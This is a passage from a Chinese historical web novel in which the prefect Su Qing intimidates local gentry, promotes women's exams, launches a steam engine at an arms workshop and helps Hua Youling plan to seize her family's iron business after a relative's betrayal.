宴会还没开始,热闹就开始了。 先是各地大户带着财物来府城的途中,屡次被抢。 只有两三个准备充分,路途稍近的大户幸免于难。 其他人家多半被抢了财物女眷。 什么? 你们也认识山匪? 那又不是我们弟兄,顶多算同行,关我们什么事。 给钱就有命,没钱就别过去。 多数人破财消灾。 只是到府城时,难免灰头土脸。 愿意赴约的二十多家刚要骂人。 让他们高兴的消息传来。 说是推脱不来的十来家,被知府亲自责问,让本地县令等人去他们各家询问情况。 这些地方的县令,要么软弱无能,被地方书吏把持。 那书吏们趁着上面政令,立刻去大户家连吃带拿,充实自己荷包。 若是想做事的县令,也能趁着机会好好追问一番。 以前自己不敢做,现在有苏知府撑腰,肯定要耍耍威风。 反正有苏知府撑腰啊。 只有明眼人看出来。 去赴约的大户们倒霉。 不去的也倒霉。 可这跟苏清似乎关系也不大。 换做正常的地方。 哪有那么多山匪抢劫,哪有那么多恶吏横行。 说到底,通民府环境如此,没有一个人能独善其身。 陈知府私底下还跟长随夸道:“苏清这人,实在聪明。” “这般立威,着实不错。” 只是有些太过威风,简直要把通民府所有大户都得罪了。 甚至五月二十四这日宴会上,更是直接威胁,让他们不要太过分。 “朝中新选了一批良才,年前应该就会到地方的。” “他们年轻有为,都有大抱负,我更知道几个性格刚烈的,准备让他们到通民府各县任职,诸位觉得如何?” 如何? 这是在吓唬他们吧。 还性格刚烈,能管得住他们吗? 大家心里吐槽,但还是有所收敛的 以知府的能力,折腾他们这些人并不难。 调个刺头去他们那,确实够烦人的。 整个宴会上,众人战战兢兢,对苏清有些怨恨。 一介女子,竟然真的威胁他们。 真以为她这个知府,能管得住他们一辈子? 他们都来拜山头了。 怎么还是这张冷脸。 陈知府也是怂货,明明是他的地盘,却让苏清如此颐指气使。 但当着苏清的面,大家又不敢说什么重话,除了阿谀奉承,也再无其他了。 陈大人看在眼里,还是比较满意的。 “您这份连哄带吓,想来今年的夏收,不会闹出多少人命。”陈知府说着,又看看苏清,虽说治标不治本。 但在他任期内,总算不会有什么大事发生。 不过他没想到,苏清做事竟是这个风格? 也太直来直去了。 以前通民府的乡绅众人,只是不敢跟她接近。 如今却是有仇了吧。 她如今做着官没什么事。 等她不做官了,全家都会遭殃。 还是年轻气盛啊。 算了,管她呢。 至少这半年内,这些豪强都会老实些。 他的差事轻松不少。 苏清只笑,并未多讲。 等私下时,苏清问道:“都统计清楚了吗。” 武捕头点头:“各家的情况已经摸清了。” 那就好。 她要的可不是治标不治本。 也不是在所谓任期内不出事就行。 苏清看着手头一页页豪强名单。 来的二十多户里,有一半被抢,抢完都能全身而退。 还有的大户,身边家丁武力,甚至能强过山匪。 没来的十多户,也只是被当地官吏敲诈而已。 直白点说。 没有任何一家伤筋动骨。 更说明。 经过朝廷多年无治。 这些乡绅豪强,早就发展了自己的武力。 这种情况下,只靠脑子一点用处也没有。 所谓的威胁,更持续不了多久。 不到半年,大概率会固态萌生。 但没关系。 这些时间足够了。 足够让她有足够的兵将,来把这里斩草除根。 这世上不止一个晏铮州会带兵遣将。 苏清看向广乐府与皋青州方向。 那里有十六万驻军,半数是军中老人,几乎都用南江县种的药。 还有半数,甚至是她亲自发布的招募令。 没记错的话,他们今年的军费已然被挪用。 也不知道他们有没有兴趣,来挣个“外快”。 苏清看向通民府。 再看向她带过来的赵镇县的孩子,以及对当地恨之入骨的青年男女们。 他们会回来的,还会带着援军过来。 而且这个时间,不会太久。 五月二十七,苏清原本一行十三人,如今变成四十九人。 所有人往广乐府方向走。 通民府豪强弹冠相庆。 瘟神终于走了! 太好了! 第70章 苏清离开通民府,带上八岁大的小侄儿,还有赵镇县二十多青年男女。 一路奔波,终于到了广乐府。 出去半年时间,苏清先让其他人在府城休息,自己带着侄儿跟同乡去了南江县。 跟梅娘苏澄等人叙旧不谈,更让他们放心,家里一切都好。 甚至连苏三婶娘家那边,她都派人送了衣食。 而同乡等人的安置,就交给梅娘跟祝芳洁。 等人少些时,苏清一个没留神,祝芳洁直接跪在地上,眼中带着无限感激。 苏大人在京城的处境,旁人不知,祝芳洁怎会不晓得。 必是经历千难万苦,才有如今的结果。 不论是赐婚她与顾状元,还是之后皇上召见,都让人胆战心惊。 苏清看她,却道:“你若是再跪,就没意思了。” 她这里,哪里会让人跪拜。 明明是大家都懂的道理。 可在祝芳洁心中,比她还小一岁的苏大人,如再生父母一般。 不过祝芳洁还是站起来,详细且快速地说起女子童试的情况。 以及本地女学兴起等等。 这里的经历不用多讲。 都在大家预料之内。 今年二月,有三名女子过了县试,成绩还不错。 之后去了府城考府试。 还有不少外地女子跟着看热闹。 她们三人确实万众瞩目,不过也因此备受指责。 在南江县的时候还好,都是一个县的,大家意见不大。 到了府城,难免有些连县试都过不了的酸儒口出恶言。 这就罢了,竟然有人带着利器,想要伤害她们三个。 虽说被附近人以及差役及时阻拦,但还是吓得够呛。 毕竟任何一个正常人遇到这种情景,难免惊恐不安。 而且第二日就是府试,她们三人的成绩可想而知。 三人里只有一人过了府试,另外两人只得明年再说。 只是谁也不知道,她们明年还能不能参加了。 听完祝县令的话,苏清道:“已经不错了。” 不错? 苏清道:“头一次童试,就考上一个女秀才,已然是厉害的,谁能一口气吃成胖子。” 怎么大家还沮丧上了。 苏清又道:“那个当街伤人的书生,还在府城看押着吧。” 祝县令点头。 “等我回府城再说。” 有苏大人这句话,祝县令瞬间放心,原本因两人落榜的低落,逐渐消散。 是啊,苏大人说的对,何必盯着失败。 她们能让女子顺利童试,已然是成功了的。 说完这些,祝县令面色又郑重起来,把苏大人托付给她的箱子账目递过来。 年前那会,库房里的三十一箱东西,就已经悉数卖完。 所得银钱,一部分给了皋青州的费开宇。 另一部分用于武器作坊革新院的设计费用。 年后那叶山鸣又送来最后一部分银子。 如今账目上,还有三百九十万两。 祝芳洁账目做的清晰,一笔一笔都有眉目。 除此之外,还有叶山鸣的信件。 他里面也说明宝物买卖情况,其中一部分并非他不想卖上价。 只是沿海也出现不少宫中财物。 大概率就是叛军出手。 他们那边的东西更多,而且不识货,很多东西卖的极为便宜,连带他们的东西也受影响。 搞的叶山鸣极为恼火。 苏清也算不意外。 叛军们手里的东西迟早要出手。 这也没办法。 还好他们卖的早,不然手头不可能还剩三四百万。 不过这笔横财到现在,也算做到头了。 想到宝物的来源。 难免再想到晏铮州。 也不知道这人恼到什么时候。 自己确实利用他,却又不至于气得再无音信? 算了,懒得再理。 苏清并未拿走账册,只收走银子,让祝县令把账册收好。 这东西放在南江县,才是最安全的。 这些事处理完。 苏清又去了本地制药作坊。 如今的南江县不仅种药材,还做药材交易,更要处理药材,已然形成真正的产业。 趁着这个时候,苏清又带人去了江对岸的江北县,尚口县,以及依松县。 依松县依旧有着大量驻军,都在广乐府跟皋青州交界处屯田。 而苏清这次到依松县。 此地新总兵竟然主动来信。 信里没说什么,只是向苏知府问好。 那依松县县令崔刚捷看的奇怪,开口道:“这位去年来的时候,不怎么同咱们地方上打招呼的。” “今年年后,我娘子做寿时,新总兵主动来信。” “您来了之后,又主动来信。” 这是示好的意思? 为什么啊。 明明刚来的时候,明显要跟他们划清界限。 现在呢? 如此变化,总要有个缘故。 崔刚捷就是吃亏在,他知道的信息不够多。 只要他去京城一趟,就知道原因了。 苏清道:“既然他们想来往,那就送送信传传话,不用太张扬。” 苏清是打算徐徐图之的。 反正通民府暂时已经稳住。 她总要有十足的把握,才会去动兵权。 再者,如今手头的东西还不够,不能贸然行动。 可她却低估军中的情况。 就在她第二日要离开依松县时,军中新任镇守大臣竟然趁着夜色主动前来。 这位镇守大臣,接替的就是当年梁公公的位置。 都喊他罗公公。 看出苏清有些诧异,一头花白头发的罗公公却满脸堆笑:“知道苏大人明日就要走,故而来此送行。” 苏清让人安排酒菜,设宴招待罗公公。 虽不知来意,但来者是客。 酒宴上,苏清是不吃,崔县令陪着罗公公几杯酒下肚,就说了自己的来历。 罗公公在宫中时间也久,还去过金陵,终于在快退休的时候,得到这个差事。 还有些话没说出来。 但意思约莫是。 本以为是香饽饽,掌管军中后勤。 没想到穷的叮当响,睁开眼就是银子,就是军饷。 那新总兵对罗公公很不满,却也没办法。 因为他们都知道。 问题没出在罗公公身上。 他即使想贪钱,也要有钱可贪啊。 崔县令没想到,罗公公他们过的这样苦,但只安慰,不说其他。 大家都看出来,罗公公是来哭穷的。 好好好。 还想问广乐府要钱啊 崔县令有些不乐意。 他们依松县好不容易才恢复些,哪有银子给出去。 再说,广乐府去年给朝廷交了税银,就不再管军中事了。 这是众所周知的。 苏清不言语,倒是比崔县令态度好些。 可惜第二日该走还是走,罗公公只好目送她回广乐府府城。 “难啊。” 罗公公感叹,只能继续问朝中要钱了。 不过罗公公走时,崔县令出来相送,还送了不少伤药跟粮食:“苏知府从南江县制药作坊拨调的,算是地方上一点心意。” 罗公公连连感谢。 虽说解不了燃眉之急,但确实没白来。 或许以后,还有机会? 幸好广乐府知府是苏清。 换了其他人,既调拨不动南江县的物资,也不会这般大方。 难怪军中人人赞她品行好,性格好,还有能力。 在罗公公感慨时,苏清已经带着云喜绿兰离开。 说起来,两人还为苏姐姐不带他们出去不高兴。 但留他们在南江县,倒是正好跟齐公公有联系,那三瓶益气养神丸就是两人从药谷村拿过来,又设法给了齐书的。 故而回府城路上,苏清还对两人道:“你们看,留你们在南江县有好处的,也能帮忙。” 才怪! 明明是苏姐姐担心我们有危险! 云喜今年十七,已经是大小伙。 绿兰十五,也有主意。 两人俨然能抗事了。 看着他们表情,苏清心道,下次再去京城,就能带上他们了吧。 眼看身边一个个孩子们都长大了,苏清也是高兴的。 永晟六年,六月十一。 出去七个月的苏知府,终于回府城了。 来城外接她的人,都肉眼可见的熟悉 大家都知道,她这次去京城,实在危险重重。 府城众人不敢想。 如若大人真的留在京城。 那他们广乐府,日子会如何? 没有大人撑着,很快就会被人拆吃入腹吧。 苏清回到府城,倒是没那么多想法。 还未歇息两日,就先让人提审了持凶器有意伤人的酸儒。 并不出大家所料,苏大人并不用出面,只让刑司看着办。 而刑司那边看着大人表情,就知该如何做。 连着半个月,那酸儒每日被打二十板子。 还是直接褪去裤子,直接打屁股。 对最重“名节”的儒生来说,无异于羞辱。 “既然重名节,那就为名节去死好了。你们不是说士可杀不可辱吗?”当时就有牙尖嘴利的人道。 对啊。 一个个口口声声说名节重要,所以不让女子科举,以免名节受辱。 现在你们都被这般羞辱,怎么不去死,不去维护自己的名节了? 于是,维护这酸儒的人,竟然分成两派。 一派退缩了,觉得不至于去死。 另一派则情绪极为激烈,怂恿这人赶紧自杀,以证名节。 毕竟死的人又不是自己啊。 至于酸儒本人。 早就服气了,日日磕头,日日求饶。 什么骨气名节,他都不要啊。 被脱了裤子挨打,就要去死? 这更可笑了! 谁愿意去死谁去死! 反正他不去! 这番闹剧,让所谓的名节变得尤为可笑。 不让女子科举,就是重名节。 自己当众被脱裤子,那就是名节不重要? 如此灵活的道德标准,让不少人为之发笑。 今年唯一的女秀才,也是这个时候被苏知府召见的。 苏清并未跟她说太久,既没有给压力,也没有强调她是头一个。 只讲读书艰难辛苦,让她压力不用太大。 另外两个过了县试的考生也得了安慰。 “明年再考吧。”苏清甚至道,“明年广乐府五个上县以及府城,都允许女子参加童试,大家早做准备。” 明年,还能参加! 不仅能参加,还增加了地点! 五个上县加上府城啊! 事实上,这些地方,也是整个广乐府里,女子读书概率最高的。 还是那句话,科举跟经济情况区分不开。 广乐府这几年,从童试到乡试再到会试。 成绩比其他地方高出一大截。 就是因为经济情况好,大家日子过得安稳。 从经济最好的南江县开始。 办成之后,再推广到所有上县以及府城。 不少人已经意识到。 等这几个地方成功后,再逐步推广到中县乃至下县。 一个是让大家都有准备,二是给其他地方读书的时间。 要说激进,苏清做事确实激进。 但如此看来,又是十分稳健的。 这个消息宣布。 没有引起太多人反对。 大家都知道木已成舟。 不想脱裤子挨打,就老实一点吧。 王学政对此并无意见。 如今的他,早就极听苏知府的话。 尤其知道其他地方情况,就知道待在广乐府才是最好的选择。 但王学政也好,还有府衙其他官员,都有个心结。 那就是。 到今年八月,苏知府的任期就满了。 不仅苏知府,广乐府许多人的任期都满了。 王学政更甚,他在广乐府已经五年时间。 若不是朝廷混乱,早该挪地方的。 问题在于。 广乐府大小官员,都不想挪地方啊。 外面什么情况,他们不知道吗? 就算不理其他地方,那自己老家什么情况,心里没数吗。 这不就是把大家往桃花源外面扔? 有谁会乐意啊。 王学政更是紧张。 他是真的很怕离开广乐府。 他一个人就算了。 全家老小都跟着他去其他地方,那要受多少罪。 对此,苏清道:“就算换地方,也要等新一批进士派官。” “今年肯定会有说调动。” 王学政心里凉了半截。 只能往上面使使银子,换个好地方了。 至于做个什么官,倒是不重要。 换个人杰地灵,无灾无害之地即可。 罗主簿跟邬户房他们还好。 不出意外的话,苏大人去哪,他们也去哪。 所以不着急。 苏清心道。 咱们肯定还留在广乐府的。 她既不会把这地方拱手让人,也不可能任由皇上调派。 以皇上恨她的程度。 肯定会以任期满了的理由,随意指派官职。 明升暗降是肯定的。 这种情况下,她肯定不会坐以待毙。 不仅要保全自己,手底下这些人,同样要保住。 故而苏清处理完杂事,便把重点放在武器作坊。 武器作坊的农具盈利还是老样子。 原材料价格居高不下。 他们卖出去的农具,也只够本钱。 不少人都觉得他们在赔本赚吆喝。 唯一的好处就是,广乐府一带的农具价格并不昂贵。 这也是少数好消息了。 鲜有人知道,农具只是不盈利而已。 作坊里面的革新院,才是烧钱的主。 也就是工司营造司甄大人来了之后,情况好转些。 但每月耗费的银子,还是要三五千两。 不是苏清有小金库,只怕早就停工了。 武器作坊的蒋管事窦工匠弓夫子,还有先的甄大人,看到苏清之后,全都毕恭毕敬。 前面三人,是因为耗费银钱的愧疚。 后面一个,则完全对苏知府的官职敬畏。 苏清想笑又觉得不大好,只道:“听说蒸汽机已经改进的差不多了?” 近一年的投入付出,甄大人的加入。 苏清画出来的蒸汽机终于有了雏形。 甄大人说到专业时,还是很严肃的:“蒸汽机的功率大,带来的热能也多。肯定能改进炼铁技术,还能减少煤炭使用。” 炼铁技术提升,就可以炼制出更好的农具武器,以及日常用具。 减少煤炭使用,则是降低成本。 虽说还未解决最大的铁矿问题。 但有这两点,他们武器作坊扭亏为盈,只是时间问题。 当然了,铁矿还是大问题。 只是多数人都觉得,暂时无法解决。 那山阳府把持铁矿的人,是绝对不会松口的。 苏清带着罗主簿邬户司,以及云喜绿兰等人,去看他们建好的蒸汽机。 武器作坊革新院的人,则分外紧张。 丑儿媳也要见公婆。 不管这蒸汽机做的怎么样,就让苏知府看看吧。 证明他们没有偷懒。 蒋管事带着众人去了后院。 这是专门为革新院开辟出来的地方。 这里原本是精巧的园子,一直空着,之后平整土地,专门用来做蒸汽机。 一进院子,众人就被眼前的硕大机器震惊。 只见黑漆漆的铁柱子立在中间,周围有无数曲折繁琐的管道。 可以看出来,上面所有管道都是精细设计过的,都有其规律。 而这些管道连接到右侧,一个车轮似的大物件,上面的轴承齿轮,带着不同这个时代的震撼感。 它们由上方的杠杆连接,由灼热蒸汽带动齿轮转动。 这边燃烧不停,蒸汽不停。 另一边就会有无限动力。 这远比人力畜力控制得更稳定,更好控制温度。 有了这两项,窦工匠就能制造出更好的钢铁。 现在要做的,就是进行最后的实验,然后搬到作坊里面,正式试用。 苏清全程跟着,耗费那么多人力物力,必然万分小心。 六月十九,蒸汽机正式启动。 看着无数煤炭投入其中,再看着蒸汽机逐渐启动。 里面发出让人刺耳的轰鸣。 一阵烟雾过去。 令人振奋的一幕出现。 随着杠杆不断摇摆,另一处的钢铁轮子慢慢转动。 原本拉风箱的伙计们好像意识到,他们的工作似乎变了。 以前十几个人拉着巨大风箱。 现在只用往炉灶里填充煤炭。 苏清眼底藏着激动。 真的做成了。 即使在后世看起来无比简陋。 但还是做成了。 有了这个东西,先不提成本如何。 至少出事的时候,本地武器作坊,不至于一个月只做三百件武器。 反正窦工匠意识到这个问题,揉着自己眼前向前。 做了一辈子武器,却没想到,还有如此炼铁做武器的法子。 而且大家都知道。 这是个开始。 后续还有更多的改进空间。 接下来一个月里,苏清依旧日日往武器作坊跑。 不少人都知道,他们作坊似乎做出什么好东西。 仔细一问,原来是改进炼铁效率。 他们还以为什么大事呢。 现在这种情况,提高效率有什么用。 铁矿价格居高不下。 你们炼的越多,他们那边越高兴啊。 一直给作坊供货的花又菱也找过来。 她没有那样短见,但有同样的忧虑。 府衙书房内,花又菱对苏清道:“苏知府,山阳府那边已经得到消息,知道咱们的炼铁技术效率提高,正庆祝呢。” “而且送消息过来,说咱们要的铁矿太多,价格还要涨。” 价格还要涨? 以现在的价格,花家跟武器作坊,都等于白做工。 相当于他们这两家给山阳府矿场打工。 怪不得人家高兴呢。 花又菱得到消息,就立刻赶来。 以前这些事只同苏知府手底下人讲,这还是头一次直接跟苏大人聊此事。 花又菱心里也有些感慨。 尤其她也知道,花景明对苏大人的想法,而且父亲更是支持。 无论从哪方面讲,她都支持花景明娶苏清。 所以今日过来,也有攀关系的意思。 苏清听花又菱说完,又看了这几年山阳府铁矿价格。 在他们没建武器作坊时,山阳府矿价几乎低廉。 之后胃口越来越大。 这次涨价的程度,更为离谱。 肯定吃准了广乐府需要矿石。 觉得他们没有其他买矿石的渠道。 苏清听花又菱说完,微微点头:“那就不买他们的。” 不买? 那买谁的? 花又菱知道苏清的本事,等着她示下。 苏清算了算时间,只道:“等着吧,很快就会有官员过来,到时候就知道了。” “不过山阳府那边,直接切断即可,不用留后路。” 不留后路,会不会太大胆了些。 可苏清这样讲了,花又菱只会照办,聪明人办事,不需要多讲。 对此反应最激烈的。 并非做决定的苏清,也不是执行的花又菱。 竟然是花家大哥花承载。 听到衙门不让买山阳府的矿产,花承载最先找到花又菱:“总要有个说法,怎么就突然不买了。” 花又菱道:“不买他们的矿产,你着什么急?” 花承载闭嘴,又说起其他:“衙门明摆着要压价,所以暂时不买铁矿石。” “但衙门可以停工,咱们家的作坊停不得。别是知府坑你吧。” 要知道,他们两个人关系一直极差。 如今说出这种话,花又菱明显有些狐疑。 花承载似乎也意识到了,直接甩甩袖子离开。 花承载眼里都是恶毒。 他们家三个孩子,花景明已经是进士,他爹宝贝的不得了。 还想帮他娶个得力的好妻子。 花又菱算个什么东西,已经外嫁了,还霸占广右县不放。 这些买卖本应该是他的。 除了花承载反应激烈之外。 山阳府那边也是不敢置信。 以前不是好好的吗? 怎么突然就不买了。 嫌价格太高? 那有什么办法,现在东西价格都高。 再说了,你们不买山阳府的矿石,那买谁家的? 别挣扎了。 大家谁还不知道谁啊。 其他地方的矿石,单运费你们都承担不起。 即使承担得起,也不会低价卖给你们的。 为什么? 因为谁会嫌卖价太高啊。 反正山阳府各大矿场,都等着看广乐府笑话。 离开我们这的铁矿,你们买谁家的? 跟花又菱合作的那些矿场管事,脸上都挂着嘲讽的笑意。 一个苏清,一个花又菱,还真把自己当人物了。 等花家的作坊没有材料,武器作坊也没有材料。 看你们怎么求我们。 至于这矿石价格,肯定还要再涨的! 他们的反应,苏清悉数得知。 都是从沈知府那边知道的。 山阳府沈知府跟苏清关系不错,他如今一心教女儿科举,也没旁的事。 当然了,他也管不着这些矿场。 铁矿这种东西,自然是统归朝廷管辖,不管交易还是收益,都是内官们的事。 所以他信里直接说:“山阳府这些矿场管事,多半还是先皇那时候派出来的诸位公公,在京城也有势力。” “不仅能控制山阳府的铁矿价格统一提高,其他地方的矿产他们也能说上话。” 至于他这个知府,在山阳府也两三年了,更是跟他们井水不犯河水。 即使知道他们吃得满嘴流油。 可跟普通百姓,甚至山阳府府衙都没有一丝一毫的关系。 也就是说。 山阳府矿场在广乐府赚的银子。 全都进内官等人的口袋。 跟山阳府多数人毫无关系。 一定要有关系。 那大概就是,普通百姓要帮忙挖矿吧。 苏清原本就对这些事知道些。 不过到底不如沈知府了解的详细。 估计就仗着背后的势力。 觉得广乐府非他们不可。 就在山阳府矿场管事等人看热闹的时候。 苏清提笔给京城那边写了信件。 这封信刚寄出。 就收到来自京城跟皋青州两地的书信。 京城顾从斯花景明等人的不必说,每个月都有通信。 最特殊的,竟是晏铮州的。 自那天从她房间离开,晏铮州再也没有出现过。 这次主动找她。 竟然是为了蒸汽机。 信里问她,为何要提高炼铁效率。 苏清挑眉,直接把信件收起来。 绿兰问道:“苏姐姐,不回复吗?” “不回。” 苏清懒得理,只看皋青州费开宇跟汪鹤的信件。 他们两个终于见面了。 如今费开宇文瑞等人在暗。 汪鹤作为朝廷任命的皋青州户司主事在明。 他们联手,已经在交接十九处铁矿。 户司主事汪鹤这边的出具文书,由费开宇这边的人正式接手。 也就正式过了名路。 那边基本都是苏清,又或者文瑞的人。 想来六月下旬,此事就能做完。 苏清放下心来。 筹备一年多的事情,终于有个结果。 她早就对山阳府的贪婪不耐烦了。 如今天时地利人和。 若不摆脱他们,那她就不是苏清。 当然了,趁这个机会。 还能把内部一些蛀虫清理了。 准确说。 是花家内部的蛀虫。 苏清让云喜把沈知府信中一些情况抄录下来,再转交给花家的花又菱。 “接下来,看好戏吧。” 花家。 广乐府最有名望,富甲一方的家族。 还有不少人说他们家识时务,很早就跟苏知府搭上线。 所以广乐府那多人家被清算。 也就他家屹立不倒,还在做生铁买卖。 而且这买卖做的无可挑剔。 当时的广乐府衙门,欠了他们二百七十万两银子,他家都没说什么,还是一直供货。 之后铁矿涨价,他家也是少赚为主,并不直接提价。 单着两点,没有足够的实力,没有充分的耐心,都做不到。 所以在外人看来,花家的买卖做得漂亮又安稳。 可花家内部也是有问题的。 别忘了。 当年衙门欠钱,花家大公子当面刁难花家二小姐跟三公子。 要不是苏知府出面解围,后面两人的脸都要丢光。 当然,苏知府出现后,丢人的就是花家大公子。 从那之后,花老爷对他也有点失望。 花承载怎么甘兴就这样下去,更不甘心生铁买卖上,只有花又菱赚钱。 思来想去,他便买通广右县花又菱手底下生铁作坊的管事跟伙计。 要说那些管事本来也算忠心。 但花承载是男子,花又菱只是嫁了人的女儿。 即使一时得势,以后这些家产,还都是大公子的。 更别说大公子同母的弟弟花景明科举有望。 一来二去,还真被花承载得手了。 这花承载又跟山阳府矿场管事联手。 把花家需要多少铁矿,以及武器作坊需要多少铁矿,全都提前透露。 别小看这份数据。 有了这些东西,就能卡着花又菱的预算报价。 确保每次价格都在最高处的。 说白了。 就是知道你内部用料情况。 人家就卡着数量跟价格。 让人不得不买。 每次他这边拿到数额,便会立刻报给管理铁矿的公公们。 那边自然少不了他的好处。 花承载简直是里应外合,拿着生铁作坊的利益,自己赚份银子。 这也是苏清说不买山阳府铁矿之后。 花承载反应那样大的原因。 苏清本就对此事有些怀疑。 主要连着两年了。 山阳府那边的报价,每次都让生铁作坊跟武器作坊不赚不赔。 这也太精准了些。 若非那边为商业奇才。 就是这边有内鬼。 故而借着跟沈知府关系交好,让他帮忙查查。 现在结果出来,也该让花家人自己知道了。 花又菱收到苏大人的信件,拆开一看,整个人气得发抖。 她甚至不信那上面的内容。 因为给她做生铁作坊掌柜的,正是她的亲舅舅啊。 自己的舅舅,怎么可能跟自己的杀母仇人联合起来,坑骗她的银子?! 舅舅难道忘了。 花承载跟花景明的母亲,就是害死她母亲的元凶?! 为什么要这么对她? 难道舅舅忘了,外祖走的时候怎么说的。 一定要为女儿报仇,一定要妹妹报仇。 一定要为母亲报仇。 舅舅都忘了吗。 今年三十的花又菱,自己也有儿有女。 若自己的女儿被那样害死,她也会跟外祖一样的。 整理好自己的情绪,花又菱去到广右县舅舅家中 外祖家不在广乐府,离这里有些距离。 原本在当地也算不错。 但如今的世道大家都明白,外祖走后,舅舅守不住财,便来投奔她。 花又菱也缺帮手,接待舅舅全家,帮他们安置在自己管着的广右县里。 之后生铁生意来了,又让舅舅照顾这桩买卖。 花又菱自认没有亏待亲人的。 可他却觉得自己前途不长久,竟然跟仇人合作。 原本热脸相迎的舅舅舅母看到花又菱的表情,都有些奇怪。 “菱儿你这是怎么了?谁让你生气了?”舅舅慈爱地问道。 花又菱冷笑:“谁让我生气?舅舅你还不知道吗?!” 此言一出,舅舅舅母脸色变了。 花又菱直接道:“你们现在说出来,还有条路子走,若不说明了,咱们就去见我爹,让他去查。” 刚从学堂回来的两个侄女回来,被姨妈吓了一跳。 舅舅舅母让孙女们去书房读书写字,花又菱也知道不在孩子们面前闹,也让她们去做课业。 她们两个学习不错,有望科举的。 等孩子们离开,舅舅舅妈已经稳住心神。 面对花又菱说什么仇人的孩子,什么跟仇人合作。 舅舅直接道:“可是也没见你报仇啊,这么多年,不是在做买卖,争家产吗。” 他跟那小贱货的儿子合作,心里是愧疚。 但花又菱自己都对么仇恨不放在心上。 至于花家的家产,谁又不想要呢。 可她到底是外嫁女,花老爷不可能把大部分东西都给她,在经营的时候,多捞一点是一点。 “当年的事就让它过去吧。” “咱们都在你爹的手底下讨生活,何必计较那么多。” “还有你也是,怎么真给花家做工啊,就应该把花家的钱多装到自己口袋里。” 花又菱的舅舅是在为自己狡辩。 可这些话却实实在在戳她的心口。 她口口声声说报仇。 但也只是抢花家的产业,为花家经营。 为花家的事业添砖加瓦。 报仇? 这些年似乎都没有怎么提过了。 但让她直接这么认了。 她绝对不同意。 等花又菱回了住处,眼神有些冷意,终于开始分析她的处境。 她手底下最大的生铁买卖。 管事跟几个伙计跟花承载串通。 此事只能秘密解决。 若闹出来,她爹那关都过不了。 而且闹得难看,舅舅一家都不占自己,那她只会更加孤立无援。 装作不知道? 反正暂时不买山阳府的货了。 “只是拖延之计罢了,以后就算不做山阳府的买卖,留舅舅在作坊里,还是个祸害。” 花又菱忽然觉得,自己似乎已经孤立无援。 她孩子们还小,丈夫是广乐府守备,基本都不在家中。 这事到底要怎么办。 等花又菱冷静下来。 就知道此事不能善了。 去找苏知府。 她说不定有解决之法。 不对,她肯定有解决之法。 花又菱再次去府衙,苏清对此并不疑惑。 那生铁作坊的掌柜是花又菱亲舅舅。 如果大义灭亲直接踢出去,那谁能接替这份差事? 而且换个人过去,估计不仅坑生铁作坊的银子,还会合起伙害她。 自己的舅舅,只谋财不害命。 说到底,只要她在花家,就是天然吃亏的一方。 因为连她舅舅都知道,以后花老爷分财产时,绝对不会给她太多。 那生铁作坊,不管花又菱如何经营,最终都是花承载的。 至于花景明。 他即使不跟他亲哥站一起。 但只要他前途光明,他哥花承载天然受益。 所以花又菱怎么挣扎,怎么经营,都是在给其他人做嫁衣。 以前可以装作不知道,以为自己在夺权。 现在花又菱被自己亲舅舅的背叛打醒,整个人已经不知如何是好。 苏清让云喜给她上杯热茶,自己也吃了一口,这才道:“你家的事,我也知道一些。” “我一直都觉得,你压根没想报仇。” 见花又菱抬头。 苏清轻笑:“你只是在你爹的乖女儿。” 乖女儿?! “展示自己经营能力,展示自己的手腕,费劲力气经营花家产业,甚至做的比花承载还要好。” “只是为了得到你爹的承认,你爹说一句,当年他错了,应该好好培养你。” 花又菱手边茶杯直接打翻。 这些话几乎像耳光一样,扇在她脸上。 “你根本不想报仇,只是向你爹撒娇而已。” “我没有。”花又菱下意识反驳。 可她又知道苏知府说话针针见血。 她想报仇的。 她不知道怎么报。 杀了花承载吗?这也行,她立刻去组织人手。 还有当年的毒妇,也要死。 自己在花家有自己的眼线。 苏清迅速放下杯子。 别啊! 她的任地不想出血案! 眼看对方眼神越来越利,苏清道:“是要杀了你爹吗?” 花又菱愣住。 没有。 她要杀了花承载跟那个贱人。 苏清认真道:“说实话,害死你娘的凶手,是你爹。” “是你爹娶了你娘之后,还跟花承载母亲有往来,甚至先一步生了花承载。” “一定要说话,你家老大反而无辜,应该杀你爹跟后娘。” 花又菱傻眼。 她没想到,苏知府竟然认真跟她分析谁是凶手。 见她终于冷静点,又道:“然后呢?他们死了,你也会被我抓住。” “到时候整个花家就会落入花承载手中。” 好像这样也不错? 那她就不用费心拆分花家。 在花家老大手中,不用两年时间,肯定败光。 可花又菱想到这个结果,立刻摇头。 让花承载过好日子,她肯定接受不了。 她当然也接受不了杀了自己亲爹。 这对她的冲击还是太大了。 苏清笑着给出另一个解决方法:“要我说,不如趁机夺产。” “把生铁作坊,彻底从花家剥离出来。” “成为你花又菱自己的产业。” “虽说都姓花,却是自己的,可以自己做主的。” “这样一来,你舅舅怎么可能胳膊肘往外拐,必然一心一意为你做事。” “而且,还能真正报复你爹。” “毕竟你爹眼中,花家的产业,花家的财富,才是最重要的。” “远比你们这些子女重要。” “甚至花景明都要往后排,你说呢。” 想要报仇,就要从对方执念入手。 花老爷知道大儿子不成器,便默许带着怨恨的二女儿插手。 他还利用这份怨恨,让女儿为自己所用,帮大儿子撑起产业,也让花承载有个对手,不至于太大意。 对于花景明,则是完全寄以厚望,原因就在于他读书的才能。 让花家这份家业传承下去,就是花老爷最大的心愿。 可惜了。 把花家拆分了。 却是她苏清的最大心愿。 府城的财富。 府城左右二县的财富,基本都在花家人手中。 尤其在花景明考上举人之后,他家许多田产不用交税。 如今又是进士,财富必然还会暴涨。 财富这东西,不是凭空来的。 有的人多了,有的人就会少。 那是谁少了呢。 苏清继续道:“真的想替里母亲报仇,完成你外公的心愿,就从花家真正抢些东西出来。” “你经营广右县那样久,府城产业也有参与,为何不趁机夺了去。” “对了,我建议,你继续用你舅舅。你舅舅才能不错,儿子儿媳都不错。你若争权,他们会站你这边的。” “当然,我也会站你这边。” 在此之前,花又菱脑子里都是怎么让父亲刮目相看,怎么比过花承载,让那贱人好言相求。 今日却像拨开迷雾一样。 是啊,她不要白做工,她要像舅舅一样。 把花家的产业,变成自己的。 苏清此时,又给了致命一击:“你以为你这些想法哪来的。” “花老爷可真是玩弄子女心思的高手。” 花又菱脸色又白了几分。 对母亲的愧疚,对父亲的恨意跟失望。 还有未来的处境,让她不得不这么做。 她不能等着她爹分家产。 她要自己抢。 70-75 第71章 花又菱思索了很久。 思考她这些年的经历跟努力,还有外祖临终前对她的嘱托。 这些年她一直在经营花家产业。 自以为做的不错。 